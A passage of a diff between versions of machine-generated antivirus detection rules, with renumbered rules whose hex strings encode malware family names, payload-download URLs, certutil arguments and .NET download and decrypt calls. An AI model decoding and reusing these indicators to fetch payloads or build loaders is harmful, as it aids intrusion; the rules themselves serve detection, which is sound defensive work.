2e 70 64 62 01 00 17 80 01 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 50 61 63 6b 61 67 65 3a 01 00 16 80 01 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 44 6f 6d 61 69 6e 3a 01 00 0b 80 01 2a 20 50 61 73 73 77 6f 72 64 3a 01 00 0d 80 01 50 72 69 6d 61 72 79 20 55 73 65 72 3a 00 00 78 f3 00 00 04 00 04 00 07 00 21 23 41 4c 46 50 45 52 } //29537 + $a_75_2 = {68 49 6e 74 65 72 61 63 74 69 6f 6e 42 65 67 69 6e f6 ff 0b 00 44 63 6f 6d 70 46 75 7a 7a 65 72 f6 ff 0a 00 77 69 6e 33 32 75 2e 70 64 62 f6 ff 0c 80 01 73 79 7a 2d 65 78 65 63 75 74 6f 72 00 00 78 f3 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 75 6d 62 54 72 61 64 65 72 2e 42 21 64 68 61 00 01 } //21625 + $a_5b_3 = {7b } //12800 { + $a_00_5 = {22 00 3a 00 22 00 70 00 22 00 2c 00 22 00 63 00 68 00 69 00 6c 00 64 00 72 00 65 00 6e 00 22 00 3a 00 5b 00 22 00 01 00 2c 01 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 55 00 70 00 64 00 61 00 74 00 65 00 73 00 01 00 40 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f } //97 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28271+(#a_75_2 & 1)*21625+(#a_72_3 & 1)*25445+(#a_36_4 & 1)*15716+(#a_62_5 & 1)*17210+(#a_77_6 & 1)*29537) >=3 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28271+(#a_75_2 & 1)*21625+(#a_5b_3 & 1)*12800+(#a_00_5 & 1)*97) >=3 } -rule _InfrastructureShared_15687{ +rule _InfrastructureShared_16722{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 75 6d 62 54 72 61 64 65 72 2e 42 21 64 68 61 00 01 00 32 01 5b 00 7b 00 22 00 74 00 61 00 67 00 22 00 3a 00 22 00 70 00 22 00 2c 00 22 00 63 00 68 00 69 00 6c 00 64 00 72 00 65 00 6e 00 22 } //16675 牔橯湡䴺䥓⽌畎扭牔摡牥䈮搡慨Ā㈀嬁笀∀琀愀最∀㨀∀瀀∀Ⰰ∀挀栀椀氀搀爀攀渀∀ + $a_00_2 = {2c } //34 , + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*34) >=4 + +} +rule _InfrastructureShared_16723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -182691,7 +195000,7 @@ rule _InfrastructureShared_15687{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*-32749+(#a_63_2 & 1)*29810+(#a_34_3 & 1)*11617+(#a_00_5 & 1)*4) >=4 } -rule _InfrastructureShared_15688{ +rule _InfrastructureShared_16724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -182707,7 +195016,7 @@ rule _InfrastructureShared_15688{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*384+(#a_00_2 & 1)*14949+(#a_75_3 & 1)*384+(#a_4c_4 & 1)*8993+(#a_00_5 & 1)*28784+(#a_6a_6 & 1)*18689) >=4 } -rule _InfrastructureShared_15689{ +rule _InfrastructureShared_16725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -182723,7 +195032,7 @@ rule _InfrastructureShared_15689{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*28521+(#a_00_2 & 1)*101+(#a_27_3 & 1)*30721+(#a_52_4 & 1)*21320+(#a_72_5 & 1)*28488+(#a_36_6 & 1)*13364) >=4 } -rule _InfrastructureShared_15690{ +rule _InfrastructureShared_16726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 19 00 21 " @@ -182753,7 +195062,7 @@ rule _InfrastructureShared_15690{ ((#a_46_0 & 1)*16675+(#a_e1_2 & 1)*-9983+(#a_72_3 & 1)*30277+(#a_61_5 & 1)*9217+(#a_6d_6 & 1)*25455+(#a_00_8 & 1)*101+(#a_20_9 & 1)*13105+(#a_6d_10 & 1)*17184+(#a_01_11 & 1)*4608+(#a_5f_12 & 1)*28261+(#a_00_14 & 1)*111+(#a_65_15 & 1)*28005+(#a_00_16 & 1)*80+(#a_65_17 & 1)*25705+(#a_57_18 & 1)*25939+(#a_41_19 & 1)*20538+(#a_2e_20 & 1)*27745+(#a_6c_21 & 1)*30063+(#a_53_22 & 1)*14958+(#a_45_23 & 1)*30060+(#a_2e_24 & 1)*28521) >=4 } -rule _InfrastructureShared_15691{ +rule _InfrastructureShared_16727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -182766,7 +195075,7 @@ rule _InfrastructureShared_15691{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*31090+(#a_65_2 & 1)*385+(#a_48_4 & 1)*8448) >=5 } -rule _InfrastructureShared_15692{ +rule _InfrastructureShared_16728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -182780,7 +195089,7 @@ rule _InfrastructureShared_15692{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*108+(#a_00_3 & 1)*106+(#a_74_4 & 1)*26473+(#a_6f_5 & 1)*29810) >=6 } -rule _InfrastructureShared_15693{ +rule _InfrastructureShared_16729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -182795,7 +195104,7 @@ rule _InfrastructureShared_15693{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8293+(#a_72_2 & 1)*28786+(#a_64_3 & 1)*16942+(#a_6c_4 & 1)*30018+(#a_00_5 & 1)*66) >=6 } -rule _InfrastructureShared_15694{ +rule _InfrastructureShared_16730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -182810,7 +195119,7 @@ rule _InfrastructureShared_15694{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*27491+(#a_6e_2 & 1)*25089+(#a_00_4 & 1)*67+(#a_76_5 & 1)*18688+(#a_00_6 & 1)*46) >=7 } -rule _InfrastructureShared_15695{ +rule _InfrastructureShared_16731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -182826,7 +195135,7 @@ rule _InfrastructureShared_15695{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25963+(#a_00_2 & 1)*116+(#a_21_3 & 1)*20014+(#a_42_4 & 1)*17746+(#a_53_5 & 1)*19536+(#a_01_6 & 1)*4352) >=7 } -rule _InfrastructureShared_15696{ +rule _InfrastructureShared_16732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -182840,7 +195149,7 @@ rule _InfrastructureShared_15696{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29806+(#a_01_2 & 1)*25712+(#a_53_4 & 1)*19457+(#a_4c_5 & 1)*-32754) >=8 } -rule _InfrastructureShared_15697{ +rule _InfrastructureShared_16733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -182857,7 +195166,7 @@ rule _InfrastructureShared_15697{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*19280+(#a_61_2 & 1)*30028+(#a_00_3 & 1)*66+(#a_6f_4 & 1)*384+(#a_69_5 & 1)*25445+(#a_f3_6 & 1)*0+(#a_01_7 & 1)*3328) >=8 } -rule _InfrastructureShared_15698{ +rule _InfrastructureShared_16734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -182874,7 +195183,7 @@ rule _InfrastructureShared_15698{ ((#a_54_0 & 1)*18467+(#a_56_1 & 1)*29797+(#a_73_2 & 1)*24940+(#a_63_3 & 1)*30322+(#a_6e_4 & 1)*11892+(#a_48_5 & 1)*24942+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1) >=8 } -rule _InfrastructureShared_15699{ +rule _InfrastructureShared_16735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -182891,7 +195200,7 @@ rule _InfrastructureShared_15699{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29811+(#a_72_2 & 1)*28261+(#a_00_3 & 1)*21057+(#a_4f_4 & 1)*384+(#a_54_5 & 1)*21827+(#a_2f_6 & 1)*18771+(#a_61_7 & 1)*13410) >=8 } -rule _InfrastructureShared_15700{ +rule _InfrastructureShared_16736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0b 00 21 " @@ -182910,7 +195219,7 @@ rule _InfrastructureShared_15700{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*16971+(#a_61_2 & 1)*29285+(#a_73_3 & 1)*26990+(#a_35_5 & 1)*9217+(#a_67_6 & 1)*29263+(#a_74_7 & 1)*31090+(#a_33_8 & 1)*12599+(#a_69_9 & 1)*385+(#a_f3_10 & 1)*0) >=8 } -rule _InfrastructureShared_15701{ +rule _InfrastructureShared_16737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -182928,7 +195237,7 @@ rule _InfrastructureShared_15701{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*14433+(#a_6c_2 & 1)*27745+(#a_65_3 & 1)*16687+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=9 } -rule _InfrastructureShared_15702{ +rule _InfrastructureShared_16738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -182946,7 +195255,7 @@ rule _InfrastructureShared_15702{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*13092+(#a_69_2 & 1)*29797+(#a_69_3 & 1)*30068+(#a_41_4 & 1)*29817+(#a_73_5 & 1)*21038+(#a_6e_6 & 1)*18034+(#a_74_7 & 1)*29295+(#a_2f_8 & 1)*25970) >=9 } -rule _InfrastructureShared_15703{ +rule _InfrastructureShared_16739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -182963,7 +195272,7 @@ rule _InfrastructureShared_15703{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25972+(#a_01_2 & 1)*25955+(#a_00_3 & 1)*21581+(#a_73_4 & 1)*25455+(#a_69_5 & 1)*16999+(#a_61_6 & 1)*24425+(#a_64_7 & 1)*29552) >=10 } -rule _InfrastructureShared_15704{ +rule _InfrastructureShared_16740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -182982,7 +195291,7 @@ rule _InfrastructureShared_15704{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_00_8 & 1)*1+(#a_f3_9 & 1)*0) >=10 } -rule _InfrastructureShared_15705{ +rule _InfrastructureShared_16741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -182999,7 +195308,7 @@ rule _InfrastructureShared_15705{ ((#a_77_0 & 1)*16675+(#a_6c_1 & 1)*25601+(#a_01_2 & 1)*3+(#a_f3_3 & 1)*0+(#a_08_4 & 1)*4361+(#a_0d_6 & 1)*24426+(#a_49_8 & 1)*1+(#a_35_9 & 1)*24408) >=10 } -rule _InfrastructureShared_15706{ +rule _InfrastructureShared_16742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -183010,7 +195319,7 @@ rule _InfrastructureShared_15706{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*5993) >=12 } -rule _InfrastructureShared_15707{ +rule _InfrastructureShared_16743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -183029,7 +195338,7 @@ rule _InfrastructureShared_15707{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*3584+(#a_49_3 & 1)*18761+(#a_44_4 & 1)*4864+(#a_61_5 & 1)*26485+(#a_79_7 & 1)*384+(#a_74_8 & 1)*25961+(#a_00_9 & 1)*15+(#a_42_10 & 1)*19525+(#a_8b_11 & 1)*-14197) >=12 } -rule _InfrastructureShared_15708{ +rule _InfrastructureShared_16744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -183050,7 +195359,7 @@ rule _InfrastructureShared_15708{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*16997+(#a_73_2 & 1)*28516+(#a_48_3 & 1)*1165+(#a_d0_4 & 1)*-14029+(#a_65_5 & 1)*11885+(#a_6e_6 & 1)*26433+(#a_57_7 & 1)*27994+(#a_72_8 & 1)*384+(#a_08_9 & 1)*21641+(#a_8b_10 & 1)*-15735+(#a_c2_11 & 1)*1025) >=12 } -rule _InfrastructureShared_15709{ +rule _InfrastructureShared_16745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -183062,7 +195371,7 @@ rule _InfrastructureShared_15709{ ((#a_4c_0 & 1)*21539+(#a_8d_1 & 1)*-5423+(#a_01_2 & 1)*-28636) >=15 } -rule _InfrastructureShared_15710{ +rule _InfrastructureShared_16746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0a 00 21 " @@ -183080,7 +195389,7 @@ rule _InfrastructureShared_15710{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*16754+(#a_6e_2 & 1)*17259+(#a_62_3 & 1)*14642+(#a_01_4 & 1)*4096+(#a_8b_6 & 1)*17664+(#a_01_7 & 1)*-6108+(#a_e8_8 & 1)*1161+(#a_04_9 & 1)*17545) >=20 } -rule _InfrastructureShared_15711{ +rule _InfrastructureShared_16747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 12 00 0a 00 21 " @@ -183099,7 +195408,7 @@ rule _InfrastructureShared_15711{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*28498+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2+(#a_80_5 & 1)*2+(#a_f4_6 & 1)*0+(#a_8b_7 & 1)*17803+(#a_89_8 & 1)*-1979+(#a_f4_9 & 1)*-29948) >=18 } -rule _InfrastructureShared_15712{ +rule _InfrastructureShared_16748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -183110,7 +195419,7 @@ rule _InfrastructureShared_15712{ ((#a_46_0 & 1)*21283+(#a_8b_1 & 1)*400) >=1 } -rule _InfrastructureShared_15713{ +rule _InfrastructureShared_16749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -183124,7 +195433,7 @@ rule _InfrastructureShared_15713{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*25974+(#a_75_2 & 1)*28764+(#a_00_3 & 1)*71+(#a_44_4 & 1)*21592) >=1 } -rule _InfrastructureShared_15714{ +rule _InfrastructureShared_16750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -183137,7 +195446,7 @@ rule _InfrastructureShared_15714{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*85+(#a_3c_2 & 1)*25454+(#a_72_3 & 1)*31301) >=2 } -rule _InfrastructureShared_15715{ +rule _InfrastructureShared_16751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -183150,7 +195459,7 @@ rule _InfrastructureShared_15715{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*117+(#a_00_3 & 1)*0+(#a_23_4 & 1)*7) >=2 } -rule _InfrastructureShared_15716{ +rule _InfrastructureShared_16752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -183162,7 +195471,7 @@ rule _InfrastructureShared_15716{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*29953+(#a_00_4 & 1)*0) >=2 } -rule _InfrastructureShared_15717{ +rule _InfrastructureShared_16753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183172,7 +195481,7 @@ rule _InfrastructureShared_15717{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_15718{ +rule _InfrastructureShared_16754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183184,7 +195493,7 @@ rule _InfrastructureShared_15718{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11617+(#a_2d_2 & 1)*31277) >=3 } -rule _InfrastructureShared_15719{ +rule _InfrastructureShared_16755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183195,7 +195504,7 @@ rule _InfrastructureShared_15719{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305) >=3 } -rule _InfrastructureShared_15720{ +rule _InfrastructureShared_16756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183207,7 +195516,7 @@ rule _InfrastructureShared_15720{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_6f_2 & 1)*28532) >=3 } -rule _InfrastructureShared_15721{ +rule _InfrastructureShared_16757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183219,7 +195528,7 @@ rule _InfrastructureShared_15721{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_00_2 & 1)*69) >=3 } -rule _InfrastructureShared_15722{ +rule _InfrastructureShared_16758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183230,7 +195539,7 @@ rule _InfrastructureShared_15722{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-28672) >=3 } -rule _InfrastructureShared_15723{ +rule _InfrastructureShared_16759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183242,7 +195551,7 @@ rule _InfrastructureShared_15723{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*15360+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_15724{ +rule _InfrastructureShared_16760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183254,7 +195563,7 @@ rule _InfrastructureShared_15724{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*1297+(#a_6f_2 & 1)*4360) >=3 } -rule _InfrastructureShared_15725{ +rule _InfrastructureShared_16761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -183266,7 +195575,7 @@ rule _InfrastructureShared_15725{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*26994+(#a_33_2 & 1)*13639) >=3 } -rule _InfrastructureShared_15726{ +rule _InfrastructureShared_16762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -183279,7 +195588,7 @@ rule _InfrastructureShared_15726{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 } -rule _InfrastructureShared_15727{ +rule _InfrastructureShared_16763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -183293,7 +195602,7 @@ rule _InfrastructureShared_15727{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*297+(#a_63_3 & 1)*25891+(#a_01_4 & 1)*17862+(#a_02_5 & 1)*-31473) >=3 } -rule _InfrastructureShared_15728{ +rule _InfrastructureShared_16764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -183311,7 +195620,7 @@ rule _InfrastructureShared_15728{ ((#a_54_0 & 1)*18467+(#a_32_2 & 1)*13320+(#a_3a_3 & 1)*25970+(#a_4e_4 & 1)*12136+(#a_2d_5 & 1)*14637+(#a_41_6 & 1)*11617+(#a_03_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=3 } -rule _InfrastructureShared_15729{ +rule _InfrastructureShared_16765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -183324,7 +195633,7 @@ rule _InfrastructureShared_15729{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*31277+(#a_39_2 & 1)*12378+(#a_32_3 & 1)*18004) >=4 } -rule _InfrastructureShared_15730{ +rule _InfrastructureShared_16766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -183334,7 +195643,7 @@ rule _InfrastructureShared_15730{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_15731{ +rule _InfrastructureShared_16767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -183344,7 +195653,7 @@ rule _InfrastructureShared_15731{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_15732{ +rule _InfrastructureShared_16768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -183354,12 +195663,12 @@ rule _InfrastructureShared_15732{ $a_00_3 = {61 00 72 00 2e 00 64 00 6c 00 6c 00 01 00 1b 01 52 65 6c 65 61 73 65 45 73 68 69 65 6c 64 5c 70 61 73 73 70 6f 72 74 2e 70 64 62 00 00 78 f4 00 00 04 00 04 00 08 00 21 23 41 4c 46 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4e 65 74 46 69 6c 74 65 72 53 65 72 76 69 63 65 2e 42 00 01 00 07 01 50 4e 50 } //108 $a_49_4 = {00 0a 01 4b 41 56 43 4f 4e 4e 5f 49 44 01 00 0c 01 4e 65 74 46 69 6c 74 65 72 53 44 4b 01 00 0a 01 5c 5c 2e 5c 43 74 72 6c 53 4d 01 00 1d 01 77 74 66 21 20 63 61 6e 6e 6f 74 20 63 72 65 61 74 65 20 74 68 } //21599 $a_68_5 = {65 61 64 01 00 3a 01 6e 00 73 00 73 00 5c 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 20 00 2d 00 41 00 20 00 2d 00 74 00 20 00 22 00 54 00 43 00 75 00 22 00 20 00 2d 00 69 00 20 00 22 00 01 00 1c 01 63 72 69 74 69 63 61 6c 2c 6b 65 79 43 65 72 74 53 69 67 6e 2c 63 52 4c 53 69 67 6e 01 00 0e 01 25 73 2d 25 73 2d 25 73 23 63 68 69 6c 64 00 } //8293 - $a_00_6 = {00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 50 47 4a 21 4d 54 42 00 01 00 3d 01 68 00 69 00 72 00 6f 00 73 00 61 00 76 00 76 00 61 00 2d 00 63 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 04 00 84 01 63 6d 56 6d 5a 58 4a 79 5a 58 49 39 5a 6e 4a 6c 5a 53 31 6b 62 33 64 75 62 47 39 68 5a 43 5a 6e 59 57 52 66 63 32 39 31 63 6d 4e 6c 50 54 45 6d 5a 32 4e 73 61 57 51 39 52 55 46 4a 59 55 6c 52 62 32 4a 44 61 45 31 4a 4e 33 46 36 56 47 38 35 58 30 31 70 64 30 31 57 55 46 56 4d 58 30 46 53 4d 57 64 79 51 57 4e 54 52 55 46 42 57 55 46 54 51 55 46 46 5a 30 78 48 54 47 5a 45 58 30 4a 33 52 51 3d 3d 00 } //30720 + $a_00_6 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 30 39 30 34 32 34 21 4d 54 42 00 01 00 6a 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 2e 00 69 00 6f 00 2f 00 64 00 61 00 74 00 61 00 2d 00 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 2f 00 47 00 36 00 61 00 67 00 41 00 78 00 6f 00 33 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 1e 01 54 72 69 70 6c 65 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 09 01 57 65 62 43 6c 69 65 6e 74 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 } //30720 condition: ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28673+(#a_00_3 & 1)*108+(#a_49_4 & 1)*21599+(#a_68_5 & 1)*8293+(#a_00_6 & 1)*30720) >=4 } -rule _InfrastructureShared_15733{ +rule _InfrastructureShared_16769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -183367,25 +195676,14 @@ rule _InfrastructureShared_15733{ $a_46_0 = {48 53 54 52 3a 57 69 6e 33 32 2f 4e 65 74 46 69 6c 74 65 72 53 65 72 76 69 63 65 2e 42 00 01 00 07 01 50 4e 50 5f 54 44 49 01 00 0a 01 4b 41 56 43 4f 4e 4e 5f 49 44 01 00 0c 01 4e 65 74 46 69 6c 74 65 72 53 44 4b 01 00 0a 01 5c } //16675 $a_43_1 = {72 6c 53 4d 01 00 1d 01 77 74 66 21 20 63 61 6e 6e 6f 74 20 63 72 65 61 74 65 20 74 68 65 20 74 68 72 65 61 64 01 00 3a 01 6e 00 73 00 73 00 5c 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 20 00 2d 00 41 00 20 00 2d 00 74 00 20 00 22 00 54 00 43 00 75 00 22 00 20 00 2d } //11868 $a_00_3 = {1c } //34 - $a_69_4 = {69 63 61 6c 2c 6b 65 79 43 65 72 74 53 69 67 6e 2c 63 52 4c 53 69 67 6e 01 00 0e 01 25 73 2d 25 73 2d 25 73 23 63 68 69 6c 64 00 00 78 f4 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 50 47 4a 21 4d 54 42 00 01 00 3d 01 68 00 69 00 72 00 6f 00 73 00 61 00 76 00 76 00 61 00 2d 00 63 } //25345 - $a_00_6 = {6d 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 75 00 70 00 6c 00 6f 00 61 00 64 00 73 00 2f 04 00 84 01 63 6d 56 6d 5a 58 4a 79 5a 58 49 39 5a 6e 4a 6c 5a 53 31 6b 62 33 64 75 62 47 39 68 5a 43 5a 6e 59 57 52 66 63 32 39 31 63 6d 4e 6c 50 54 45 6d 5a 32 4e 73 61 57 51 39 52 55 46 4a 59 55 6c 52 62 32 4a 44 61 45 31 4a 4e 33 46 36 } //99 - $a_35_7 = {30 31 70 64 30 31 57 55 46 56 4d 58 30 46 53 4d 57 64 79 51 57 4e 54 52 55 46 42 57 55 46 54 51 55 46 46 5a 30 78 48 54 47 5a 45 58 30 4a 33 52 51 3d 3d 00 00 78 f4 00 } //18262 + $a_69_4 = {69 63 61 6c 2c 6b 65 79 43 65 72 74 53 69 67 6e 2c 63 52 4c 53 69 67 6e 01 00 0e 01 25 73 2d 25 73 2d 25 73 23 63 68 69 6c 64 00 00 78 f4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 30 39 30 34 32 34 21 4d 54 42 00 01 00 6a 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f } //25345 + $a_00_6 = {74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 2e 00 69 00 6f 00 2f 00 64 00 61 00 74 00 61 00 2d 00 70 00 61 00 63 00 6b 